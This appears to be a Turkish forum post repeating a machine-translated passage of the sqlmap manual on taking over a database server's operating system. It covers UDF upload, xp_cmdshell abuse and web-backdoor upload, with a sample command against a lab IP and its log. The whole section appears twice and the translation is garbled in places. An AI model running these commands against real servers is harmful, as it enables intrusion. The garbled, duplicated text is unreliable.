- 25 Ara 2015
- 149
- 0
İŞLETİM SİSTEMİ DEVRALMA
İsteğe bağlı işletim sistemi komutunu çalıştır
Seçenek ve anahtar: --os-cmd ve --os-shell
Arka uç veritabanı yönetim sistemi MySQL, PostgreSQL veya Microsoft SQL Server olduğunda ve oturum kullanıcısı veritabanının belirli işlevlerini ve mimari zayıflıklarını kötüye kullanmak için gerekli ayrıcalıklara sahip olduğunda veritabanı sunucusunun temel işletim sisteminde rasgele komutlar çalıştırmak mümkündür .
MySQL ve PostgreSQL'de sqlmap (yukarıda açıklanan dosya yükleme işlevi aracılığıyla) kullanıcı tarafından tanımlanmış iki işlevi içeren paylaşılan bir kütüphane (ikili dosya) yükler sys_exec()ve sys_eval()ardından bu iki işlevi veritabanında oluşturur ve bunlardan birini belirtilen işlevi yürütmek için çağırır komut, kullanıcının standart çıktıyı gösterip göstermemesine bağlı olarak değişir. Microsoft SQL Server'da, sqlmap xp_cmdshellsaklı yordamı kötüye kullanır : eğer devre dışı bırakılmışsa (varsayılan olarak Microsoft SQL Server> = 2005'te), sqlmap yeniden etkinleştirir; yoksa, sqlmap sıfırdan oluşturur.
Kullanıcı standart çıktı istediğinde, sqlmap, almak için numaralandırma SQL enjeksiyon tekniklerinden birini (kör, bant içi veya hata tabanlı) kullanır. Tam tersi, standart çıktı gerekli değilse, komutu yürütmek için yığılmış sorgu SQL enjeksiyon tekniği kullanılır.
Bu teknikler, işletim sistemi tam kontrolüne beyaz teknik Gelişmiş SQL enjeksiyonu belgesinde detaylandırılmıştır .
PostgreSQL hedefine karşı örnek:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
os-cmd id -v 1
[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(post
gres)'
[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file sys
tem can only be deleted manually
İstediğiniz sayıda isteğe bağlı komut yazabileceğiniz gerçek bir kabuğu simüle etmek de mümkündür. Bu seçenek --os-shellaynı TAB tamamlama ve geçmiş işlevlerine --sql-shellsahiptir ve sahiptir.
Web uygulamasında yığılmış sorgular tanımlanmadığında (örneğin, arka uç veritabanı yönetim sistemi MySQL olan PHP veya ASP) ve DBMS MySQL ise, SELECTmaddenin INTO OUTFILEyanına yazılabilir bir klasörde bir web arka kapısı oluşturmak için kötüye kullanılması mümkündür. web sunucusu belge kök ve arka uç DBMS ve web sunucusu aynı sunucuda barındırıldığını varsayarak hala komut yürütme olsun. sqlmap bu tekniği destekler ve kullanıcının web dosyası sabitleyiciyi ve sonraki web arka kapısını yüklemeye çalışan virgülle ayrılmış olası bir belge kök alt klasörleri listesi sunmasını sağlar. Ayrıca, sqlmap aşağıdaki diller için kendi test edilmiş web dosya düzenleyicilerine ve arka kapılarına sahiptir:
ASP
ASP.NET
JSP
PHP
İsteğe bağlı işletim sistemi komutunu çalıştır
Seçenek ve anahtar: --os-cmd ve --os-shell
Arka uç veritabanı yönetim sistemi MySQL, PostgreSQL veya Microsoft SQL Server olduğunda ve oturum kullanıcısı veritabanının belirli işlevlerini ve mimari zayıflıklarını kötüye kullanmak için gerekli ayrıcalıklara sahip olduğunda veritabanı sunucusunun temel işletim sisteminde rasgele komutlar çalıştırmak mümkündür .
MySQL ve PostgreSQL'de sqlmap (yukarıda açıklanan dosya yükleme işlevi aracılığıyla) kullanıcı tarafından tanımlanmış iki işlevi içeren paylaşılan bir kütüphane (ikili dosya) yükler sys_exec()ve sys_eval()ardından bu iki işlevi veritabanında oluşturur ve bunlardan birini belirtilen işlevi yürütmek için çağırır komut, kullanıcının standart çıktıyı gösterip göstermemesine bağlı olarak değişir. Microsoft SQL Server'da, sqlmap xp_cmdshellsaklı yordamı kötüye kullanır : eğer devre dışı bırakılmışsa (varsayılan olarak Microsoft SQL Server> = 2005'te), sqlmap yeniden etkinleştirir; yoksa, sqlmap sıfırdan oluşturur.
Kullanıcı standart çıktı istediğinde, sqlmap, almak için numaralandırma SQL enjeksiyon tekniklerinden birini (kör, bant içi veya hata tabanlı) kullanır. Tam tersi, standart çıktı gerekli değilse, komutu yürütmek için yığılmış sorgu SQL enjeksiyon tekniği kullanılır.
Bu teknikler, işletim sistemi tam kontrolüne beyaz teknik Gelişmiş SQL enjeksiyonu belgesinde detaylandırılmıştır .
PostgreSQL hedefine karşı örnek:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
os-cmd id -v 1
[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(post
gres)'
[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file sys
tem can only be deleted manually
İstediğiniz sayıda isteğe bağlı komut yazabileceğiniz gerçek bir kabuğu simüle etmek de mümkündür. Bu seçenek --os-shellaynı TAB tamamlama ve geçmiş işlevlerine --sql-shellsahiptir ve sahiptir.
Web uygulamasında yığılmış sorgular tanımlanmadığında (örneğin, arka uç veritabanı yönetim sistemi MySQL olan PHP veya ASP) ve DBMS MySQL ise, SELECTmaddenin INTO OUTFILEyanına yazılabilir bir klasörde bir web arka kapısı oluşturmak için kötüye kullanılması mümkündür. web sunucusu belge kök ve arka uç DBMS ve web sunucusu aynı sunucuda barındırıldığını varsayarak hala komut yürütme olsun. sqlmap bu tekniği destekler ve kullanıcının web dosyası sabitleyiciyi ve sonraki web arka kapısını yüklemeye çalışan virgülle ayrılmış olası bir belge kök alt klasörleri listesi sunmasını sağlar. Ayrıca, sqlmap aşağıdaki diller için kendi test edilmiş web dosya düzenleyicilerine ve arka kapılarına sahiptir:
ASP
ASP.NET
JSP
PHP